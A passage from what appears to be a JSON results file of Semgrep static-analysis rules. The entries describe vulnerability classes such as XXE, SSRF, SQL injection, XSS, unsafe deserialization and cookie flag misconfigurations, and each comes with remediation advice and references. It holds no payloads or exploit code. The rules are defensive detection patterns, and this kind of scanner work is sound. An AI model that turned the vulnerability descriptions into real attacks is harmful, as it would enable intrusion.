[https://blog.sonarsource.com/understanding-xxe-vulnerabilities/](https://blog.sonarsource.com/understanding-xxe-vulnerabilities/)\n - [https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html)\n - [https://cwe.mitre.org/data/definitions/776.html](https://cwe.mitre.org/data/definitions/776.html)\n - [https://docs.oracle.com/en/java/javase/13/security/java-api-xml-processing-jaxp-security-guide.html#GUID-D97A1F1D-8DDF-4D19-A7E5-99099F27346E](https://docs.oracle.com/en/java/javase/13/security/java-api-xml-processing-jaxp-security-guide.html#GUID-D97A1F1D-8DDF-4D19-A7E5-99099F27346E)\n - [https://github.com/returntocorp/java-xxe-research](https://github.com/returntocorp/java-xxe-research)\n - [https://owasp.org/Top10/A05_2021-Security_Misconfiguration](https://owasp.org/Top10/A05_2021-Security_Misconfiguration)\n - [https://rules.sonarsource.com/java/type/Vulnerability/RSPEC-2755](https://rules.sonarsource.com/java/type/Vulnerability/RSPEC-2755)\n - [https://semgrep.dev/blog/2022/xml-security-in-java](https://semgrep.dev/blog/2022/xml-security-in-java)\n - [https://semgrep.dev/docs/cheat-sheets/java-xxe/](https://semgrep.dev/docs/cheat-sheets/java-xxe/)\n","text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a `Billion Laughs Attack`. The current configuration allows for XXE attacks through parameter entities. It is our recommendation to secure this parser against XXE attacks by configuring $PARSER with `$PARSER.setFeature(http://apache.org/xml/features/disallow-doctype-decl, true)`. Alternatively, the following configurations also provide protection against XXE attacks with parameter entities. `$PARSER.setFeature(\"http://xml.org/sax/features/external-parameter-entities\", false)`. The best defense against XXE is to have an XML parser that supports disabling DTDs. Limiting the use of external entities from the start can prevent the parser from being used to process untrusted XML files. Reducing dependencies on external resources is also a good practice for performance reasons. It is difficult to guarantee that even a trusted XML file on your server or during transmission has not been tampered with by a malicious third-party. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)"},"helpUri":"https://semgrep.dev/r/kotlin.xxe.saxreader-xxe-parameter-entities.saxreader-xxe-parameter-entities","id":"kotlin.xxe.saxreader-xxe-parameter-entities.saxreader-xxe-parameter-entities","name":"kotlin.xxe.saxreader-xxe-parameter-entities.saxreader-xxe-parameter-entities","properties":{"precision":"very-high","tags":["CWE-776: Improper Restriction of Recursive Entity References in DTDs ('XML Entity Expansion')","MEDIUM CONFIDENCE","OWASP-A04:2017 - XML External Entities (XXE)","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: kotlin.xxe.saxreader-xxe-parameter-entities.saxreader-xxe-parameter-entities"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A cookie was detected without setting the 'HttpOnly' flag. The 'HttpOnly' flag for cookies instructs the browser to forbid client-side scripts from reading the cookie. Set the 'HttpOnly' flag by calling 'cookie.setHttpOnly(true);'"},"help":{"markdown":"A cookie was detected without setting the 'HttpOnly' flag. The 'HttpOnly' flag for cookies instructs the browser to forbid client-side scripts from reading the cookie. Set the 'HttpOnly' flag by calling 'cookie.setHttpOnly(true);'\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.audit.cookie-missing-httponly.cookie-missing-httponly)\n - [https://owasp.org/Top10/A05_2021-Security_Misconfiguration](https://owasp.org/Top10/A05_2021-Security_Misconfiguration)\n","text":"A cookie was detected without setting the 'HttpOnly' flag. The 'HttpOnly' flag for cookies instructs the browser to forbid client-side scripts from reading the cookie. Set the 'HttpOnly' flag by calling 'cookie.setHttpOnly(true);'"},"helpUri":"https://semgrep.dev/r/java.lang.security.audit.cookie-missing-httponly.cookie-missing-httponly","id":"java.lang.security.audit.cookie-missing-httponly.cookie-missing-httponly","name":"java.lang.security.audit.cookie-missing-httponly.cookie-missing-httponly","properties":{"precision":"very-high","tags":["CWE-1004: Sensitive Cookie Without 'HttpOnly' Flag","LOW CONFIDENCE","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: java.lang.security.audit.cookie-missing-httponly.cookie-missing-httponly"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains."},"help":{"markdown":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.gin.ssrf.gin-tainted-url-host.gin-tainted-url-host)\n - [https://goteleport.com/blog/ssrf-attacks/](https://goteleport.com/blog/ssrf-attacks/)\n - [https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29](https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29)\n","text":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains."},"helpUri":"https://semgrep.dev/r/go.gin.ssrf.gin-tainted-url-host.gin-tainted-url-host","id":"go.gin.ssrf.gin-tainted-url-host.gin-tainted-url-host","name":"go.gin.ssrf.gin-tainted-url-host.gin-tainted-url-host","properties":{"precision":"very-high","tags":["CWE-918: Server-Side Request Forgery (SSRF)","HIGH CONFIDENCE","OWASP-A10:2021 - Server-Side Request Forgery (SSRF)","security"]},"shortDescription":{"text":"Semgrep Finding: go.gin.ssrf.gin-tainted-url-host.gin-tainted-url-host"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Avoid using unsafe `ruamel.yaml.YAML()`. `ruamel.yaml.YAML` can create arbitrary Python objects. A malicious actor could exploit this to run arbitrary code. Use `YAML(typ='rt')` or `YAML(typ='safe')` instead."},"help":{"markdown":"Avoid using unsafe `ruamel.yaml.YAML()`. `ruamel.yaml.YAML` can create arbitrary Python objects. A malicious actor could exploit this to run arbitrary code. Use `YAML(typ='rt')` or `YAML(typ='safe')` instead.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.lang.security.deserialization.avoid-unsafe-ruamel.avoid-unsafe-ruamel)\n - [https://yaml.readthedocs.io/en/latest/basicuse.html?highlight=typ](https://yaml.readthedocs.io/en/latest/basicuse.html?highlight=typ)\n","text":"Avoid using unsafe `ruamel.yaml.YAML()`. `ruamel.yaml.YAML` can create arbitrary Python objects. A malicious actor could exploit this to run arbitrary code. Use `YAML(typ='rt')` or `YAML(typ='safe')` instead."},"helpUri":"https://semgrep.dev/r/python.lang.security.deserialization.avoid-unsafe-ruamel.avoid-unsafe-ruamel","id":"python.lang.security.deserialization.avoid-unsafe-ruamel.avoid-unsafe-ruamel","name":"python.lang.security.deserialization.avoid-unsafe-ruamel.avoid-unsafe-ruamel","properties":{"precision":"very-high","tags":["CWE-502: Deserialization of Untrusted Data","MEDIUM CONFIDENCE","OWASP-A08:2017 - Insecure Deserialization","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.lang.security.deserialization.avoid-unsafe-ruamel.avoid-unsafe-ruamel"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"AES symmetric cryptographic operations were identified using a key size of 128bit which is less than the industry standard recommendation of 256bit."},"help":{"markdown":"AES symmetric cryptographic operations were identified using a key size of 128bit which is less than the industry standard recommendation of 256bit.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/swift.commoncrypto.insecure-crypto-aes-keysize.insecure-crypto-aes-keysize)\n - [https://mobile-security.gitbook.io/masvs/security-requirements/0x08-v3-cryptography_verification_requirements](https://mobile-security.gitbook.io/masvs/security-requirements/0x08-v3-cryptography_verification_requirements)\n","text":"AES symmetric cryptographic operations were identified using a key size of 128bit which is less than the industry standard recommendation of 256bit."},"helpUri":"https://semgrep.dev/r/swift.commoncrypto.insecure-crypto-aes-keysize.insecure-crypto-aes-keysize","id":"swift.commoncrypto.insecure-crypto-aes-keysize.insecure-crypto-aes-keysize","name":"swift.commoncrypto.insecure-crypto-aes-keysize.insecure-crypto-aes-keysize","properties":{"precision":"very-high","tags":["CWE-326: Inadequate Encryption Strength","HIGH CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: swift.commoncrypto.insecure-crypto-aes-keysize.insecure-crypto-aes-keysize"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"'raw' renders raw HTML, as the name implies. This means that normal HTML escaping is bypassed. If user data can be controlled here, this exposes your application to cross-site scripting (XSS). If you need to do this, be sure to correctly sanitize the data using a library such as DOMPurify."},"help":{"markdown":"'raw' renders raw HTML, as the name implies. This means that normal HTML escaping is bypassed. If user data can be controlled here, this exposes your application to cross-site scripting (XSS). If you need to do this, be sure to correctly sanitize the data using a library such as DOMPurify.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/ruby.rails.security.audit.xss.templates.avoid-raw.avoid-raw)\n - [https://stackoverflow.com/questions/4251284/raw-vs-html-safe-vs-h-to-unescape-html#:~:text===](https://stackoverflow.com/questions/4251284/raw-vs-html-safe-vs-h-to-unescape-html#:~:text===)\n - [https://medium.com/sumone-technical-blog/a-pretty-way-to-unescape-html-in-a-ruby-on-rails-application-efc22b850027](https://medium.com/sumone-technical-blog/a-pretty-way-to-unescape-html-in-a-ruby-on-rails-application-efc22b850027)\n","text":"'raw' renders raw HTML, as the name implies. This means that normal HTML escaping is bypassed. If user data can be controlled here, this exposes your application to cross-site scripting (XSS). If you need to do this, be sure to correctly sanitize the data using a library such as DOMPurify."},"helpUri":"https://semgrep.dev/r/ruby.rails.security.audit.xss.templates.avoid-raw.avoid-raw","id":"ruby.rails.security.audit.xss.templates.avoid-raw.avoid-raw","name":"ruby.rails.security.audit.xss.templates.avoid-raw.avoid-raw","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","LOW CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: ruby.rails.security.audit.xss.templates.avoid-raw.avoid-raw"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected non-static command inside `...`. If unverified user data can reach this call site, this is a code injection vulnerability. A malicious actor can inject a malicious script to execute arbitrary code."},"help":{"markdown":"Detected non-static command inside `...`. If unverified user data can reach this call site, this is a code injection vulnerability. A malicious actor can inject a malicious script to execute arbitrary code.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/ruby.lang.security.dangerous-subshell.dangerous-subshell)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Detected non-static command inside `...`. If unverified user data can reach this call site, this is a code injection vulnerability. A malicious actor can inject a malicious script to execute arbitrary code."},"helpUri":"https://semgrep.dev/r/ruby.lang.security.dangerous-subshell.dangerous-subshell","id":"ruby.lang.security.dangerous-subshell.dangerous-subshell","name":"ruby.lang.security.dangerous-subshell.dangerous-subshell","properties":{"precision":"very-high","tags":["CWE-94: Improper Control of Generation of Code ('Code Injection')","LOW CONFIDENCE","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: ruby.lang.security.dangerous-subshell.dangerous-subshell"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A cookie was detected without setting the 'HttpOnly' flag. The 'HttpOnly' flag for cookies instructs the browser to forbid client-side scripts from reading the cookie. Set the 'HttpOnly' flag by calling 'cookie.setHttpOnly(true);'"},"help":{"markdown":"A cookie was detected without setting the 'HttpOnly' flag. The 'HttpOnly' flag for cookies instructs the browser to forbid client-side scripts from reading the cookie. Set the 'HttpOnly' flag by calling 'cookie.setHttpOnly(true);'\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/kotlin.lang.security.cookie-missing-httponly.cookie-missing-httponly)\n - [https://owasp.org/Top10/A05_2021-Security_Misconfiguration](https://owasp.org/Top10/A05_2021-Security_Misconfiguration)\n","text":"A cookie was detected without setting the 'HttpOnly' flag. The 'HttpOnly' flag for cookies instructs the browser to forbid client-side scripts from reading the cookie. Set the 'HttpOnly' flag by calling 'cookie.setHttpOnly(true);'"},"helpUri":"https://semgrep.dev/r/kotlin.lang.security.cookie-missing-httponly.cookie-missing-httponly","id":"kotlin.lang.security.cookie-missing-httponly.cookie-missing-httponly","name":"kotlin.lang.security.cookie-missing-httponly.cookie-missing-httponly","properties":{"precision":"very-high","tags":["CWE-1004: Sensitive Cookie Without 'HttpOnly' Flag","LOW CONFIDENCE","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: kotlin.lang.security.cookie-missing-httponly.cookie-missing-httponly"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected a network listener listening on 0.0.0.0 or an empty string. This could unexpectedly expose the server publicly as it binds to all available interfaces. Instead, specify another IP address that is not 0.0.0.0 nor the empty string."},"help":{"markdown":"Detected a network listener listening on 0.0.0.0 or an empty string. This could unexpectedly expose the server publicly as it binds to all available interfaces. Instead, specify another IP address that is not 0.0.0.0 nor the empty string.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.lang.security.audit.net.bind_all.avoid-bind-to-all-interfaces)\n - [https://owasp.org/Top10/A01_2021-Broken_Access_Control](https://owasp.org/Top10/A01_2021-Broken_Access_Control)\n","text":"Detected a network listener listening on 0.0.0.0 or an empty string. This could unexpectedly expose the server publicly as it binds to all available interfaces. Instead, specify another IP address that is not 0.0.0.0 nor the empty string."},"helpUri":"https://semgrep.dev/r/go.lang.security.audit.net.bind_all.avoid-bind-to-all-interfaces","id":"go.lang.security.audit.net.bind_all.avoid-bind-to-all-interfaces","name":"go.lang.security.audit.net.bind_all.avoid-bind-to-all-interfaces","properties":{"precision":"very-high","tags":["CWE-200: Exposure of Sensitive Information to an Unauthorized Actor","HIGH CONFIDENCE","OWASP-A01:2021 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: go.lang.security.audit.net.bind_all.avoid-bind-to-all-interfaces"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected a SQL query based on user input. This could lead to SQL injection, which could potentially result in sensitive data being exfiltrated by attackers. Instead, use parameterized queries and prepared statements."},"help":{"markdown":"Detected a SQL query based on user input. This could lead to SQL injection, which could potentially result in sensitive data being exfiltrated by attackers. Instead, use parameterized queries and prepared statements.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/php.laravel.security.laravel-sql-injection.laravel-sql-injection)\n - [https://laravel.com/docs/8.x/queries](https://laravel.com/docs/8.x/queries)\n","text":"Detected a SQL query based on user input. This could lead to SQL injection, which could potentially result in sensitive data being exfiltrated by attackers. Instead, use parameterized queries and prepared statements."},"helpUri":"https://semgrep.dev/r/php.laravel.security.laravel-sql-injection.laravel-sql-injection","id":"php.laravel.security.laravel-sql-injection.laravel-sql-injection","name":"php.laravel.security.laravel-sql-injection.laravel-sql-injection","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","MEDIUM CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: php.laravel.security.laravel-sql-injection.laravel-sql-injection"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions."},"help":{"markdown":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/rust.hyper.sql.postgres-taint.postgres-taint)\n - [https://docs.rs/postgres/latest/postgres/](https://docs.rs/postgres/latest/postgres/)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions."},"helpUri":"https://semgrep.dev/r/rust.hyper.sql.postgres-taint.postgres-taint","id":"rust.hyper.sql.postgres-taint.postgres-taint","name":"rust.hyper.sql.postgres-taint.postgres-taint","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: rust.hyper.sql.postgres-taint.postgres-taint"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a Billion Laughs Attack. The best defense against XXE is to have an XML parser that supports disabling DTDs. Limiting the use of external entities from the start can prevent the parser from being used to process untrusted XML files. Reducing dependencies on external resources is also a good practice for performance reasons. It is difficult to guarantee that even a trusted XML file on your server or during transmission has not been tampered with by a malicious third-party."},"help":{"markdown":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a Billion Laughs Attack. The best defense against XXE is to have an XML parser that supports disabling DTDs. Limiting the use of external entities from the start can prevent the parser from being used to process untrusted XML files. Reducing dependencies on external resources is also a good practice for performance reasons. It is difficult to guarantee that even a trusted XML file on your server or during transmission has not been tampered with by a malicious third-party.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/php.laravel.security.laravel-unsafe-entity-loader.laravel-unsafe-entity-loader)\n - [https://websec.io/2012/08/27/Preventing-XXE-in-PHP.html](https://websec.io/2012/08/27/Preventing-XXE-in-PHP.html)\n - [https://www.php.net/libxml_disable_entity_loader](https://www.php.net/libxml_disable_entity_loader)\n - [https://www.php.net/manual/en/function.libxml-set-external-entity-loader.php](https://www.php.net/manual/en/function.libxml-set-external-entity-loader.php)\n","text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a Billion Laughs Attack. The best defense against XXE is to have an XML parser that supports disabling DTDs. Limiting the use of external entities from the start can prevent the parser from being used to process untrusted XML files. Reducing dependencies on external resources is also a good practice for performance reasons. It is difficult to guarantee that even a trusted XML file on your server or during transmission has not been tampered with by a malicious third-party."},"helpUri":"https://semgrep.dev/r/php.laravel.security.laravel-unsafe-entity-loader.laravel-unsafe-entity-loader","id":"php.laravel.security.laravel-unsafe-entity-loader.laravel-unsafe-entity-loader","name":"php.laravel.security.laravel-unsafe-entity-loader.laravel-unsafe-entity-loader","properties":{"precision":"very-high","tags":["CWE-611: Improper Restriction of XML External Entity Reference","MEDIUM CONFIDENCE","OWASP-A04:2017 - XML External Entities (XXE)","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: php.laravel.security.laravel-unsafe-entity-loader.laravel-unsafe-entity-loader"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected data rendered directly to the end user via 'response' This bypasses Laravel's built-in cross-site scripting (XSS) defenses and could result in an XSS vulnerability. Use Laravel's template engine to safely render HTML."},"help":{"markdown":"Detected data rendered directly to the end user via 'response' This bypasses Laravel's built-in cross-site scripting (XSS) defenses and could result in an XSS vulnerability. Use Laravel's template engine to safely render HTML.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/php.laravel.security.laravel-direct-response-write.laravel-direct-response-write)\n - [https://github.com/OWASP/CheatSheetSeries/blob/master/cheatsheets/Laravel_Cheat_Sheet.md#cross-site-scripting-xss](https://github.com/OWASP/CheatSheetSeries/blob/master/cheatsheets/Laravel_Cheat_Sheet.md#cross-site-scripting-xss)\n - [https://github.com/OWASP/CheatSheetSeries/blob/master/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.md](https://github.com/OWASP/CheatSheetSeries/blob/master/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.md)\n","text":"Detected data rendered directly to the end user via 'response' This bypasses Laravel's built-in cross-site scripting (XSS) defenses and could result in an XSS vulnerability. Use Laravel's template engine to safely render HTML."},"helpUri":"https://semgrep.dev/r/php.laravel.security.laravel-direct-response-write.laravel-direct-response-write","id":"php.laravel.security.laravel-direct-response-write.laravel-direct-response-write","name":"php.laravel.security.laravel-direct-response-write.laravel-direct-response-write","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","MEDIUM CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: php.laravel.security.laravel-direct-response-write.laravel-direct-response-write"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Resources in the AWS subnet are assigned a public IP address. Resources should not be exposed on the public internet, but should have access limited to consumers required for the function of your application. Set `map_public_ip_on_launch` to false so that resources are not publicly-accessible."},"help":{"markdown":"Resources in the AWS subnet are assigned a public IP address. Resources should not be exposed on the public internet, but should have access limited to consumers required for the function of your application. Set `map_public_ip_on_launch` to false so that resources are not publicly-accessible.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/terraform.aws.security.aws-subnet-has-public-ip-address.aws-subnet-has-public-ip-address)\n - [https://owasp.org/Top10/A01_2021-Broken_Access_Control/](https://owasp.org/Top10/A01_2021-Broken_Access_Control/)\n - [https://registry.terraform.io/providers/hashicorp/aws/latest/docs/resources/subnet#map_public_ip_on_launch](https://registry.terraform.io/providers/hashicorp/aws/latest/docs/resources/subnet#map_public_ip_on_launch)\n - [https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/using-instance-addressing.html#concepts-public-addresses](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/using-instance-addressing.html#concepts-public-addresses)\n","text":"Resources in the AWS subnet are assigned a public IP address. Resources should not be exposed on the public internet, but should have access limited to consumers required for the function of your application. Set `map_public_ip_on_launch` to false so that resources are not publicly-accessible."},"helpUri":"https://semgrep.dev/r/terraform.aws.security.aws-subnet-has-public-ip-address.aws-subnet-has-public-ip-address","id":"terraform.aws.security.aws-subnet-has-public-ip-address.aws-subnet-has-public-ip-address","name":"terraform.aws.security.aws-subnet-has-public-ip-address.aws-subnet-has-public-ip-address","properties":{"precision":"very-high","tags":["CWE-284: Improper Access Control","MEDIUM CONFIDENCE","OWASP-A01:2021 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: terraform.aws.security.aws-subnet-has-public-ip-address.aws-subnet-has-public-ip-address"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Found SameSiteNoneMode setting in Gorilla session options. Consider setting SameSite to Lax, Strict or Default for enhanced security."},"help":{"markdown":"Found SameSiteNoneMode setting in Gorilla session options. Consider setting SameSite to Lax, Strict or Default for enhanced security.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.gorilla.security.audit.session-cookie-samesitenone.session-cookie-samesitenone)\n - [https://pkg.go.dev/github.com/gorilla/sessions#Options](https://pkg.go.dev/github.com/gorilla/sessions#Options)\n","text":"Found SameSiteNoneMode setting in Gorilla session options. Consider setting SameSite to Lax, Strict or Default for enhanced security."},"helpUri":"https://semgrep.dev/r/go.gorilla.security.audit.session-cookie-samesitenone.session-cookie-samesitenone","id":"go.gorilla.security.audit.session-cookie-samesitenone.session-cookie-samesitenone","name":"go.gorilla.security.audit.session-cookie-samesitenone.session-cookie-samesitenone","properties":{"precision":"very-high","tags":["CWE-1275: Sensitive Cookie with Improper SameSite Attribute","MEDIUM CONFIDENCE","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: go.gorilla.security.audit.session-cookie-samesitenone.session-cookie-samesitenone"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Untrusted input could be used to tamper with a web page rendering, which can lead to a Cross-site scripting (XSS) vulnerability. XSS vulnerabilities occur when untrusted input executes malicious JavaScript code, leading to issues such as account compromise and sensitive information leakage. To prevent this vulnerability, validate the user input, perform contextual output encoding or sanitize the input."},"help":{"markdown":"Untrusted input could be used to tamper with a web page rendering, which can lead to a Cross-site scripting (XSS) vulnerability. XSS vulnerabilities occur when untrusted input executes malicious JavaScript code, leading to issues such as account compromise and sensitive information leakage. To prevent this vulnerability, validate the user input, perform contextual output encoding or sanitize the input.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.browser.xss.xss)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Untrusted input could be used to tamper with a web page rendering, which can lead to a Cross-site scripting (XSS) vulnerability. XSS vulnerabilities occur when untrusted input executes malicious JavaScript code, leading to issues such as account compromise and sensitive information leakage. To prevent this vulnerability, validate the user input, perform contextual output encoding or sanitize the input."},"helpUri":"https://semgrep.dev/r/javascript.browser.xss.xss","id":"javascript.browser.xss.xss","name":"javascript.browser.xss.xss","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","HIGH CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.browser.xss.xss"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Using a non-primitive class with Java RMI may be an insecure deserialization vulnerability. Depending on the underlying implementation. This object could be manipulated by a malicious actor allowing them to execute code on your system. Instead, use an integer ID to look up your object, or consider alternative serialization schemes such as JSON."},"help":{"markdown":"Using a non-primitive class with Java RMI may be an insecure deserialization vulnerability. Depending on the underlying implementation. This object could be manipulated by a malicious actor allowing them to execute code on your system. Instead, use an integer ID to look up your object, or consider alternative serialization schemes such as JSON.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.rmi.security.server-dangerous-class-deserialization.server-dangerous-class-deserialization)\n - [https://mogwailabs.de/blog/2019/03/attacking-java-rmi-services-after-jep-290/](https://mogwailabs.de/blog/2019/03/attacking-java-rmi-services-after-jep-290/)\n","text":"Using a non-primitive class with Java RMI may be an insecure deserialization vulnerability. Depending on the underlying implementation. This object could be manipulated by a malicious actor allowing them to execute code on your system. Instead, use an integer ID to look up your object, or consider alternative serialization schemes such as JSON."},"helpUri":"https://semgrep.dev/r/java.rmi.security.server-dangerous-class-deserialization.server-dangerous-class-deserialization","id":"java.rmi.security.server-dangerous-class-deserialization.server-dangerous-class-deserialization","name":"java.rmi.security.server-dangerous-class-deserialization.server-dangerous-class-deserialization","properties":{"precision":"very-high","tags":["CWE-502: Deserialization of Untrusted Data","LOW 